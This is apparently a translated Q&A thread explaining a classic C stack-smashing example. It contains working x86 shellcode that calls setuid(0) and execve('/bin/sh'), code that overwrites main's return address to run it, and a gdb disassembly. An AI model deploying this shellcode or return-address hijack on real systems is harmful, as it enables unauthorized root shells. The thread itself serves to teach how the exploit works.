任何人都可以向我解释这个代码吗?

0xa*_*b3d 14 c stack exploit shellcode

警告:这是一个漏洞.不要执行此代码.

//shellcode.c

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 
    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return
                           //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the
                             //address of the shellcode, so it executes.
}
Run Code Online (Sandbox Code Playgroud)

谁能给我一个更好的解释?

sta*_*ica 23

显然,此代码尝试更改堆栈,以便在main函数返回时,程序执行不会定期返回到运行时库(通常会终止程序),而是会跳转到保存在shellcode数组中的代码中.

1) int *ret;

在堆栈上定义一个变量,就在main函数的参数下面.

2) ret = (int *)&ret + 2;

ret变量指向堆放在上面int *两个ints 的变量ret.据说,返回地址位于程序main返回时将继续的位置.

2) (*ret) = (int)shellcode;

返回地址设置为shellcode数组内容的地址,因此返回shellcode时将执行内容main.


shellcode看似包含可能进行系统调用以启动的机器指令/bin/sh.我可能错了,因为我实际上并没有拆解shellcode.


PS:此代码依赖于机器和编译器,可能无法在所有平台上运行.


回复你的第二个问题:

如果我使用ret =(int)&ret +2会发生什么?为什么我们加2呢?为什么不是3或4 ??? 我认为int是4个字节所以2将是8字节没有?

ret声明为a int*,因此为它分配int(例如(int)&ret)将是一个错误.至于为什么添加2而不是任何其他数字:显然是因为此代码假定返回地址位于堆栈上的该位置.考虑以下:

  • 此代码假定调用堆栈在其上推送时会向下增长(因为它确实例如使用Intel处理器).这就是为什么添加一个数而不是减去一个数的原因:返回地址位于比自动(本地)变量(例如ret)更高的内存地址.

  • 从我记忆中的英特尔组装日来看,C函数通常被称为:首先,所有参数都以相反的顺序(从右到左)被压入堆栈.然后,调用该函数.因此返回地址被压入堆栈.然后,建立新的堆栈帧,包括将ebp寄存器推入堆栈.然后,在堆栈上设置局部变量,直到此为止.

现在我假设你的程序有以下堆栈布局:

+-------------------------+
|  function arguments     |                       |
|  (e.g. argv, argc)      |                       |  (note: the stack
+-------------------------+   <-- ss:esp + 12     |   grows downward!)
|  return address         |                       |
+-------------------------+   <-- ss:esp + 8      V
|  saved ebp register     |                       
+-------------------------+   <-- ss:esp + 4  /  ss:ebp - 0  (see code below)
|  local variable (ret)   |                       
+-------------------------+   <-- ss:esp + 0  /  ss:ebp - 4
Run Code Online (Sandbox Code Playgroud)

在底部ret(这是一个32位整数).它上面是保存的ebp寄存器(也是32位宽).上面是32位返回地址.(上面那将是main参数 - argc而且argv- 但这些在这里并不重要.)当函数执行时,堆栈指针指向ret.返回地址位于64位的"上方" ret,其对应于+ 2

ret = (int*)&ret + 2; 
Run Code Online (Sandbox Code Playgroud)

这是+ 2因为ret是a int*,而a int是32位,因此添加2表示将其设置为2×32位(= 64位)以上的存储单元(int*)&ret...这将是返回地址'的位置,如果所有的假设在以上段落是正确的.


题外话:让我在英特尔汇编语言演示C函数怎么可能会被调用(如果我没记错的话-我对这个话题没有大师,所以我可能是错的):

// first, push all function arguments on the stack in reverse order:
push  argv
push  argc

// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call  main

// (afterwards: clean up stack by removing the function arguments, e.g.:)
add   esp, 8
Run Code Online (Sandbox Code Playgroud)

在main内部,可能会发生以下情况:

// create a new stack frame and make room for local variables:
push  ebp
mov   ebp, esp
sub   esp, 4

// access return address:
mov   edi, ss:[ebp+4]

// access argument 'argc'
mov   eax, ss:[ebp+8]

// access argument 'argv'
mov   ebx, ss:[ebp+12]

// access local variable 'ret'
mov   edx, ss:[ebp-4]

...

// restore stack frame and return to caller (by popping the return address)
mov   esp, ebp
pop   ebp
retf
Run Code Online (Sandbox Code Playgroud)

参见:在说明用C程序调用序列有关此主题的另一种解释.


Chr*_*odd 19

实际的shellcode是:

(gdb) x /25i &shellcode
0x804a040 <shellcode>:      xor    %eax,%eax
0x804a042 <shellcode+2>:    xor    %ebx,%ebx
0x804a044 <shellcode+4>:    mov    $0x17,%al
0x804a046 <shellcode+6>:    int    $0x80
0x804a048 <shellcode+8>:    jmp    0x804a069 <shellcode+41>
0x804a04a <shellcode+10>:   pop    %esi
0x804a04b <shellcode+11>:   mov    %esi,0x8(%esi)
0x804a04e <shellcode+14>:   xor    %eax,%eax
0x804a050 <shellcode+16>:   mov    %al,0x7(%esi)
0x804a053 <shellcode+19>:   mov    %eax,0xc(%esi)
0x804a056 <shellcode+22>:   mov    $0xb,%al
0x804a058 <shellcode+24>:   mov    %esi,%ebx
0x804a05a <shellcode+26>:   lea    0x8(%esi),%ecx
0x804a05d <shellcode+29>:   lea    0xc(%esi),%edx
0x804a060 <shellcode+32>:   int    $0x80
0x804a062 <shellcode+34>:   xor    %ebx,%ebx
0x804a064 <shellcode+36>:   mov    %ebx,%eax
0x804a066 <shellcode+38>:   inc    %eax
0x804a067 <shellcode+39>:   int    $0x80
0x804a069 <shellcode+41>:   call   0x804a04a <shellcode+10>
0x804a06e <shellcode+46>:   das    
0x804a06f <shellcode+47>:   bound  %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>:   das    
0x804a073 <shellcode+51>:   jae    0x804a0dd
0x804a075 <shellcode+53>:   add    %al,(%eax)
Run Code Online (Sandbox Code Playgroud)

这粗略对应

setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);
Run Code Online (Sandbox Code Playgroud)

  • 这是通过编译示例生成的,在生成的可执行文件上运行gdb并使用`x/25i&shellcode`来反汇编它 (2认同)

Riz*_*sim 15

该字符串来自缓冲区溢出的旧文档,并将执行/ bin/sh.因为它是恶意代码(当与缓冲区漏洞利用配对时) - 下次你应该真正包含它的来源.

从同一文档中,如何编写基于堆栈的漏洞:

/* the shellcode is hex for: */
      #include <stdio.h>
       main() { 
       char *name[2]; 
       name[0] = "sh"; 
       name[1] = NULL;
       execve("/bin/sh",name,NULL);
          } 

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
         \x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
         \xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
Run Code Online (Sandbox Code Playgroud)

您包含的代码会导致shellcode []的内容被执行,运行execve并提供对shell的访问.和Shellcode一词?来自维基百科:

在计算机安全性中,shellcode是一小段代码,用作利用软件漏洞的有效载荷.它被称为"shellcode",因为它通常启动一个命令shell,攻击者可以从中控制受感染的计算机.Shellcode通常用机器代码编写,但执行类似任务的任何代码都可以称为shellcode.


jsc*_*ier 5

在没有查找要确认的所有实际操作码的情况下,该shellcode数组包含执行所需的机器代码/bin/sh.这个shellcode是精心构造的机器代码,用于在特定目标平台上执行所需操作,而不包含任何null字节.

代码main()正在改变返回地址和执行流程,以使程序通过shellcode执行数组中的指令来生成shell .

有关如何创建shellcode以及如何使用它的说明,请参阅Smashing Stack for Fun和Profit.